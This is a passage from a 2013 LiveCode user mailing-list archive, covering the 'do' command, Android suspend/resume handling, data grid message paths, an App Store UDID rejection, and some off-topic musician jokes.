May 7, 2013, 7:39:01 PM, you wrote: > :) I understand completely. Comcast thinks my name is Landmangay. It's > amusing to hear their telemarketers try to pronounce it. The reason it's > that way in the database is because they can't put a space into the > last_name field and they only get two fields. ROTFL. Ain't computers wonderful? -- -Mark Wieder mwieder at ahsoftware.net From dunbarx at aol.com Tue May 7 22:45:56 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 7 May 2013 22:45:56 -0400 (EDT) Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <5189B872.6060509@fourthworld.com> References: <5189B872.6060509@fourthworld.com> Message-ID: <8D019AD4CA3645A-D6C-1CD4E@webmail-d213.sysops.aol.com> Richard. Right on about the ubiquitous "text" property. Sure cuts through a lot of paperwork. Craig. -----Original Message----- From: Richard Gaskin To: use-livecode Sent: Tue, May 7, 2013 10:30 pm Subject: Re: Comment about "do" (was clickLine/clickcharchunk) dunbarx wrote: > Danny Goodman once said that he was unsure where the disconnect took > place. He just said (paraphrased) "...when it seems like the code > ought to work, but doesn't, try a "do" construction..." Ah, but Danny's moved on to JavaScript; he didn't stick around in the xTalk world long enough to appreciate one of LiveCode's many unique charms: Almost every object that can act as a container has a text property, so we don't need to bother with the odd ambiguities the HyperCard team were enamored of by sometimes treating object references as objects and other times as containers, instead allowing us to enjoy the consistency of property-driven syntax. So instead of problematic expressions like: put the focusedObject into tObject put resDate into tObject ..or the complex concatenated "do" form: do "put" && quote & resdate & quote && "into" && tObject ...we can simply write with confidence: set the text of tObject to resDate the "do" command still has a place in LiveCode, but it's much less frequently-needed than in HyperTalk. -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Tue May 7 22:46:14 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 21:46:14 -0500 Subject: suspend/resume messages on Android? In-Reply-To: References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> Message-ID: <5189BC76.9010307@hyperactivesw.com> On 5/7/13 8:29 PM, Terry Judd wrote: > Hi Jacque (or anyone else?) - I may have misunderstood but I'm not > getting any messages sent when an app is 'suspended' and 'resumed' on > Android (4.2.2). No shutdown message on 'suspend' and no opencard > message on 'resume'. Does the shutdown message only get sent when the > app 'quits' (when imposed by the OS or the user)? > > Looks like I may have to resort to using timers and activity > monitoring ;( That's too bad. I do know you can trap the backKey message but for some reason we don't get a homeKey message. I used to worry about it, but after running a lot of Android apps I've noticed that most of them just pick up where they left off if they are still in memory, or else they start over again if they aren't. It must be a common problem. But that doesn't help you much if you need to do processing no matter how the user leaves. I'm guessing the OS probably doesn't notify the app that it's suspended. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Tue May 7 22:48:19 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Tue, 7 May 2013 22:48:19 -0400 Subject: [TG][PRO][MW] tags In-Reply-To: <153333315424.20130507182937@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> <153333315424.20130507182937@ahsoftware.net> Message-ID: <00b601ce4b96$7fe11c80$7fa35580$@net> Mark, you forgot to add [MW] Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Mark Wieder Sent: Tuesday, May 07, 2013 9:30 PM To: How to use LiveCode Subject: Re: [TG][PRO] tags Pete- Tuesday, May 7, 2013, 3:20:29 PM, you wrote: > [PROTEST]? It's the opposite of [CONTEST]. Kind of like [PROGRESS]. -- -Mark Wieder mwieder at ahsoftware.net _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Tue May 7 22:47:39 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 19:47:39 -0700 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> Message-ID: <81337996927.20130507194739@ahsoftware.net> Andre- Tuesday, May 7, 2013, 7:37:30 PM, you wrote: > I am going! I arrive on the 12th :-D Yep - that's Sunday. If you're on British Air flight #1448 out of Heathrow we'll see you in the airport. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Tue May 7 22:52:33 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 21:52:33 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: <5189BDF1.6090007@hyperactivesw.com> On 5/7/13 9:06 PM, Dr. Hawkins wrote: > > But in this case, I was actually being serious. > > Hanging while attempting to quit the IDE is so common I barely notice when > I force quit; it's been this way since I started last year. > That's unusual, I think something else is wrong. Apps won't quit if there are pending messages in the queue, or if a process is left open, or if there is any other kind of unfinished business (except for open files, those close themselves.) Is your stack running something when you try to quit? Maybe an external is trying to do something? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 22:58:54 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 21:58:54 -0500 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01997146852BA-D6C-1B7DD@webmail-d213.sysops.aol.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> <51898E2E.1010800@hyperactivesw.com> <8D01997146852BA-D6C-1B7DD@webmail-d213.sysops.aol.com> Message-ID: <5189BF6E.3010306@hyperactivesw.com> On 5/7/13 7:06 PM, dunbarx at aol.com wrote: > When I first started with LC, one of the first things I tried was to > see if something like the first construction above processed "like > it should". I think I tested "the foundField". I was astonished that > it did not. Is there is something deeply ingrained in the way this > type (all types?) of parsers work that it can not do this? I'm not sure how any parser could tell if you meant the variable to be a container or the value that's in it. "Get the clickline" is just a shortcut for "put the clickline into it". So you have: put the clickline into it put random(99) into it which is functionally the same as: put "abc" into it put "def" into it What we really need is a mind-reading processor. I could have used that today. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 23:00:18 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 22:00:18 -0500 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: <5189BFC2.3030601@hyperactivesw.com> On 5/7/13 9:24 PM, Colin Holgate wrote: > I'll be at the conference next week, but then I can justify the trip > because I can visit my family in England before and after Scotland. I > was curious though, how many of the people that made it to San Jose > and Atlantic City will also be there next week? I will. But I'll do anything for a vacation. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Tue May 7 23:06:12 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Tue, 7 May 2013 23:06:12 -0400 Subject: Beginners questions subject headers In-Reply-To: <90333940445.20130507184002@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> Message-ID: <00b701ce4b98$ff025c20$fd071460$@net> What do you call someone who hangs out with musicians? A drummer. How do you know when a drummer is at the door? The knocking gets faster and faster and they never know when to come in. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Mark Wieder Sent: Tuesday, May 07, 2013 9:40 PM To: How to use LiveCode Subject: Re: Beginners questions subject headers Warren- Tuesday, May 7, 2013, 9:29:59 AM, you wrote: >> I wonder how the patent office could sort out who invented or >> registered the time warp > It was probably a drummer. 1. LOL 2. Drummer than what? -- -Mark Wieder mwieder at ahsoftware.net _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Tue May 7 23:10:04 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 20:10:04 -0700 Subject: [TG][PRO][MW] tags In-Reply-To: <00b601ce4b96$7fe11c80$7fa35580$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> <153333315424.20130507182937@ahsoftware.net> <00b601ce4b96$7fe11c80$7fa35580$@net> Message-ID: <166339342464.20130507201004@ahsoftware.net> Ralph- Tuesday, May 7, 2013, 7:48:19 PM, you wrote: > Mark, you forgot to add [MW] Yeah, it'll take me a while to get used to this. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue May 7 23:12:07 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 20:12:07 -0700 Subject: Beginners questions subject headers In-Reply-To: <00b701ce4b98$ff025c20$fd071460$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> Message-ID: <102339465441.20130507201207@ahsoftware.net> Ralph- Tuesday, May 7, 2013, 8:06:12 PM, you wrote: > What do you call someone who hangs out with musicians? A drummer. > How do you know when a drummer is at the door? The knocking gets faster and > faster and they never know when to come in. How can you tell a singer's at the door? They can't find the key. -- -Mark Wieder mwieder at ahsoftware.net From terry.judd at unimelb.edu.au Tue May 7 23:20:19 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 8 May 2013 03:20:19 +0000 Subject: suspend/resume messages on Android? In-Reply-To: <5189BC76.9010307@hyperactivesw.com> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> <5189BC76.9010307@hyperactivesw.com> Message-ID: <7C175CE1-9C52-4629-9037-54C4C9BB3460@unimelb.edu.au> On 08/05/2013, at 12:46 PM, J. Landman Gay wrote: > On 5/7/13 8:29 PM, Terry Judd wrote: >> Hi Jacque (or anyone else?) - I may have misunderstood but I'm not >> getting any messages sent when an app is 'suspended' and 'resumed' on >> Android (4.2.2). No shutdown message on 'suspend' and no opencard >> message on 'resume'. Does the shutdown message only get sent when the >> app 'quits' (when imposed by the OS or the user)? >> >> Looks like I may have to resort to using timers and activity >> monitoring ;( > > That's too bad. I do know you can trap the backKey message but for some reason we don't get a homeKey message. > > I used to worry about it, but after running a lot of Android apps I've noticed that most of them just pick up where they left off if they are still in memory, or else they start over again if they aren't. It must be a common problem. But that doesn't help you much if you need to do processing no matter how the user leaves. Yeah - I need to do two things, submit 'session' data when the user suspends (on iOS I actually have to store this locally and then send it when the user resumes), and logout the user after a given time if the app has been suspended (there are potential security issues with some of the data our users are accessing). I had this all sussed on iOS but it's going to take a major rethink on Android. > > I'm guessing the OS probably doesn't notify the app that it's suspended. Maybe not. I think you can potentially get a list of active processes and determine which one is active. If we could poll that list using an external - if we ever get externals for Android - then we could build our own suspend and resume routine. Terry... > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From gerry.orkin at gmail.com Tue May 7 23:55:00 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 8 May 2013 13:55:00 +1000 Subject: Data Grid Template stack triggers messages in main stack In-Reply-To: References: <1367979248073.7404eec6@Nodemailer> Message-ID: <0235EFD5-AC96-4CD3-93AE-43630D541150@gmail.com> Mike, that makes sense, but it doesn't happen with my other project's datagrid template substack. Hence my surprise. Gerry On 08/05/2013, at 12:21 PM, Mike Bonner wrote: > Since the datagrid template stacks are substacks if there are no handlers > to "catch" openstack closestack in the grid template stacks they go up the > message path to the main stack where they are "handled" by the openstack > /closestack in the stackscript. To stop this you could put an empty > openstack/close stack in the template stack, or put in a check against the > target to make sure you actually want the script to run, or you can move > them to the first card in the main stack (the card that is open first when > the app starts) so that when a substack causes an openstack/closestack > there are no handlers in the stack script to respond to the message. If I > recall correctly, when the message passes from the substack to the > mainstack it is handed to the stack not the card. > > > > > On Tue, May 7, 2013 at 8:14 PM, Gerry Orkin wrote: > >> No and no :) >> >> >> Gerry >> >> On Wed, May 8, 2013 at 12:09 PM, Andrew Kluthe wrote: >> >>> Do you have any handlers for these in your data grid? Is your datagrid on >>> more than 1 card? >>> On Tue, May 7, 2013 at 7:58 PM, Gerry Orkin >> wrote: >>>> Whenever I open or close the data grid template stack in a particular >>>> stack in the IDE the openstack and closestack messages in the main stack >>>> get triggered. I've used data grids in a few stacks but haven't seen >> that >>>> behaviour before LC 6.0.1. >>>> >>>> What's the deal? >>>> >>>> Cheers >>>> >>>> Gerry >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> -- >>> Regards, >>> Andrew Kluthe >>> andrew at ctech.me >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Wed May 8 00:07:34 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 7 May 2013 22:07:34 -0600 Subject: Data Grid Template stack triggers messages in main stack In-Reply-To: <0235EFD5-AC96-4CD3-93AE-43630D541150@gmail.com> References: <1367979248073.7404eec6@Nodemailer> <0235EFD5-AC96-4CD3-93AE-43630D541150@gmail.com> Message-ID: Strange, not sure why that would be. If the stacks are set up the same (openstack closestack in the stack script not a card script, and only 1 set of openstack closestack in the message path) seems like the behavior of the problematic stack is correct. Maybe the other stack has something catching the messages before they hit the mainstack? From scott at elementarysoftware.com Wed May 8 00:08:26 2013 From: scott at elementarysoftware.com (Scott Morrow) Date: Tue, 7 May 2013 21:08:26 -0700 Subject: automated iOS rejection: Non-public API usage In-Reply-To: <51898E9E.4030803@hyperactivesw.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> Message-ID: Submitted bug report 10895 On May 7, 2013, at 4:30 PM, J. Landman Gay wrote: > On 5/7/13 3:45 AM, Scott Morrow wrote: >> When submitting an app for iOS the Application Loader completes >> successfully but shortly an email from Apple arrives explaining that >> the binary is invalid because: >> >> ----------------------------------------- Non-public API usage: >> >> ? Apps are not permitted to access the UDID > > I wonder if this is in the engine. There are calls that allow us to get that info. If so, RR needs to remove those, and a bug report about it would be in order. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Wed May 8 00:15:49 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 21:15:49 -0700 Subject: Beginners questions subject headers In-Reply-To: <102339465441.20130507201207@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> Message-ID: OK, is it open season on musician jokes? 'Cause I got some that will ruffle a few feathers :=) Pete lcSQL Software On Tue, May 7, 2013 at 8:12 PM, Mark Wieder wrote: > Ralph- > > Tuesday, May 7, 2013, 8:06:12 PM, you wrote: > > > What do you call someone who hangs out with musicians? A drummer. > > How do you know when a drummer is at the door? The knocking gets faster > and > > faster and they never know when to come in. > > How can you tell a singer's at the door? > They can't find the key. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gerry.orkin at gmail.com Wed May 8 00:22:57 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 8 May 2013 14:22:57 +1000 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: It needs to be re-compiled for LC 4.5.1. Gerry On 08/05/2013, at 12:40 AM, Andrew Kluthe wrote: > Very good question. Where IS this time travel external? I have some great > ideas for it. From gerry.orkin at gmail.com Wed May 8 00:26:35 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 8 May 2013 14:26:35 +1000 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> Message-ID: Q: You know how to tell if the drum stand has been set up level? A: the drool seeps out of both sides of the drummer's mouth. Q: What do you call a musician without a girlfriend? A: Homeless. I've got a few more... :) Gerry On 08/05/2013, at 2:15 PM, Peter Haworth wrote: > OK, is it open season on musician jokes? 'Cause I got some that will ruffle > a few feathers :=) From mwieder at ahsoftware.net Wed May 8 00:29:31 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 21:29:31 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> Message-ID: <29344109381.20130507212931@ahsoftware.net> Pete- Tuesday, May 7, 2013, 9:15:49 PM, you wrote: > OK, is it open season on musician jokes? 'Cause I got some that will ruffle > a few feathers :=) I'll bet you do. You mean like: What's the definition of perfect pitch? Tossing an accordian in the toilet without hitting the rim. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Wed May 8 00:50:28 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 23:50:28 -0500 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: <5189D994.9080406@hyperactivesw.com> On 5/7/13 11:22 PM, Gerry Orkin wrote: > It needs to be re-compiled for LC 4.5.1. Ha! How'd you know? > > Gerry > > > On 08/05/2013, at 12:40 AM, Andrew Kluthe wrote: > >> Very good question. Where IS this time travel external? I have some great >> ideas for it. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From terry.judd at unimelb.edu.au Wed May 8 01:15:58 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 8 May 2013 05:15:58 +0000 Subject: Dismissing an answer dialog by script Message-ID: <23C7F0B6-F157-4BFB-B283-2B15CCE4296E@unimelb.edu.au> Is it possible to display a standard answer dialog and then dismiss it by script if the user doesn't intervene? If so, will the method work on both mobile platforms as well? Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From richmondmathewson at gmail.com Wed May 8 01:28:03 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 08 May 2013 08:28:03 +0300 Subject: [TG][PRO] tags In-Reply-To: <51898CB4.9040206@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> <51898CB4.9040206@hyperactivesw.com> Message-ID: <5189E263.50506@gmail.com> On 05/08/2013 02:22 AM, J. Landman Gay wrote: > On 5/7/13 4:22 PM, Ralph DiMola wrote: >> As long as protests are in play. First of all.... >> >> GAY = quod erat demonstrandum >> >> I object to GAY. This should be reserved for Jacque. You know, when >> you get >> one of those "Believe me on this one" code gems. >> quod erat demonstrandum can just use [QED] > > I was wondering if he meant me, or if he meant something else. At any > rate, something undetermined has been demonstrated. > Toujours gai. The Q.E.D. did, indeed refer to Thee. From terry.judd at unimelb.edu.au Wed May 8 02:24:52 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 8 May 2013 06:24:52 +0000 Subject: Dismissing an answer dialog by script In-Reply-To: <23C7F0B6-F157-4BFB-B283-2B15CCE4296E@unimelb.edu.au> References: <23C7F0B6-F157-4BFB-B283-2B15CCE4296E@unimelb.edu.au> Message-ID: On 08/05/2013, at 03:15 PM, Terry Judd wrote: > Is it possible to display a standard answer dialog and then dismiss it by script if the user doesn't intervene? If so, will the method work on both mobile platforms as well? OK - it is possible on the desktop using a 'send in time' before throwing up the answer dialog (close stack "answer dialog") but I haven't been able to find a way to dismiss the answer dialog on iOS yet as it's not a stack and seems resistant to responding to virtual clicks and keypresses. Any ideas? Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From th.douez at gmail.com Wed May 8 03:18:29 2013 From: th.douez at gmail.com (Thierry Douez) Date: Wed, 8 May 2013 09:18:29 +0200 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> Message-ID: 2013/5/8 > > But there are times when "do" is unavoidable, and also times when it is > invaluable. For example, in a locked field with some lines of text in it: > > on mouseup > put random(99) & return into the clickLine --Works fine. Direct, > immediate use of the function > end mouseup > > on mouseup > get the clickLine --puts some "distance" between the clickLine as a > function and as a string in a variable. > > -- put random(99) into it --does not work, though it seems like it > should > do "put" && random(99) && "into" && it --works > end mouseup > > Craig > > Hi, coming a bit late, but the do can be avoided in this case: get random(99) will put the result in the IT var. Regards, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage From m_p_wilcox at yahoo.co.uk Wed May 8 05:12:54 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Wed, 8 May 2013 10:12:54 +0100 (BST) Subject: suspend/resume messages on Android? In-Reply-To: <7C175CE1-9C52-4629-9037-54C4C9BB3460@unimelb.edu.au> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> <5189BC76.9010307@hyperactivesw.com> <7C175CE1-9C52-4629-9037-54C4C9BB3460@unimelb.edu.au> Message-ID: <1368004374.99222.YahooMailNeo@web28805.mail.ir2.yahoo.com> Terry Judd wrote: ? >> I'm guessing the OS probably doesn't notify the app that it's suspended. > Maybe not. I think you can potentially get a list of active processes and determine which one is active. If we could poll that list using an external - if we ever get externals for Android - then we could build our own suspend and resume routine. I know the RunRev team are awesome but I'm a little perplexed anyone would assume that the Android app lifecycle model is completely broken rather than there's simply a bug/missing feature in LiveCode. Android does indeed send apps (actually Activities) messages about pause/resume and losing/gaining focus. ?I had a quick look in the code and as far as I could tell most of the relevant messages get passed from Java through to native code and then simply logged. As I understand it, LiveCode iOS apps only officially support exiting on suspend. ?What do you think should happen instead on Android? Mark From m_p_wilcox at yahoo.co.uk Wed May 8 05:42:54 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Wed, 8 May 2013 10:42:54 +0100 (BST) Subject: automated iOS rejection: Non-public API usage In-Reply-To: References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> Message-ID: <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> I see RunRev have jumped on the bug report quickly, which is great, but Apple deprecated the UDID a very long time ago and recently gave fair advanced warning that they'd be rejecting any apps still using it from May 1st. Since I was able to find: engine/src/mbliphoneextra.mm:t_identifier = [[UIDevice currentDevice] uniqueIdentifier]; in less than 10s by using grep on the source, perhaps we can have some community supported process as a safety net to make sure these things get caught before apps are rejected from the store? FYI - in the same announcement Apple have also mandated that all apps must support retina displays and the 4" iPhone 5 resolution from May 1st, so anyone looking to submit an iPhone app soon may want to check that too. Mark From pmbrig at gmail.com Wed May 8 07:33:34 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Wed, 8 May 2013 07:33:34 -0400 Subject: Beginners questions subject headers In-Reply-To: <5189BAC5.8030509@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> <51898D0B.1010200@hyperactivesw.com> <5189BAC5.8030509@hyperactivesw.com> Message-ID: On May 7, 2013, at 10:39 PM, J. Landman Gay wrote: > Comcast thinks my name is Landmangay. It's amusing to hear their telemarketers try to pronounce it. The reason it's that way in the database is because they can't put a space into the last_name field and they only get two fields. Another example of brain-dead software design. In our new electronic medical record, hyphens weren't allowed in last names until just recently -- I guess someone on the IT side is finally paying attention to the real world. Whenever I see this sort of thing I get steamed up, maybe partly because in LC is just so damned easy to make stuff work properly if you get it wrong the first time. I guess it's harder if you have to do a complete database revision to fix a simple problem. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From pmbrig at gmail.com Wed May 8 07:45:36 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Wed, 8 May 2013 07:45:36 -0400 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <5189BF6E.3010306@hyperactivesw.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> <51898E2E.1010800@hyperactivesw.com> <8D01997146852BA-D6C-1B7DD@webmail-d213.sysops.aol.com> <5189BF6E.3010306@hyperactivesw.com> Message-ID: <6C8C6C7A-0FFF-4178-B9EC-F25BE9CD7FD3@gmail.com> All this makes some sort of sense if you pay attention to the "parts of speech" aspect in the LC dictionary entries. "The foundfield" is a function, and so it's not surprising that the parser objects to something like "put random(99) into the foundfield." If you look at the entry for "the selection" it's listed as a keyword, and there is a specific note that although it's implemented internally as a function it can be used as a referenced container.The engine appears to handle "the selection" quite differently, performing an extra evaluation when the term is used as a noun (the object of the preposition "into"). I wonder why Scott Raney made this exception? But it's quite useful. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On May 7, 2013, at 10:58 PM, J. Landman Gay wrote: > On 5/7/13 7:06 PM, dunbarx at aol.com wrote: > >> When I first started with LC, one of the first things I tried was to >> see if something like the first construction above processed "like >> it should". I think I tested "the foundField". I was astonished that >> it did not. Is there is something deeply ingrained in the way this >> type (all types?) of parsers work that it can not do this? > > I'm not sure how any parser could tell if you meant the variable to be a container or the value that's in it. "Get the clickline" is just a shortcut for "put the clickline into it". So you have: > > put the clickline into it > put random(99) into it > > which is functionally the same as: > > put "abc" into it > put "def" into it > > What we really need is a mind-reading processor. I could have used that today. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre.bisseret at wanadoo.fr Wed May 8 08:05:26 2013 From: andre.bisseret at wanadoo.fr (=?iso-8859-1?Q?Andr=E9_Bisseret?=) Date: Wed, 8 May 2013 14:05:26 +0200 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <5189BDF1.6090007@hyperactivesw.com> References: 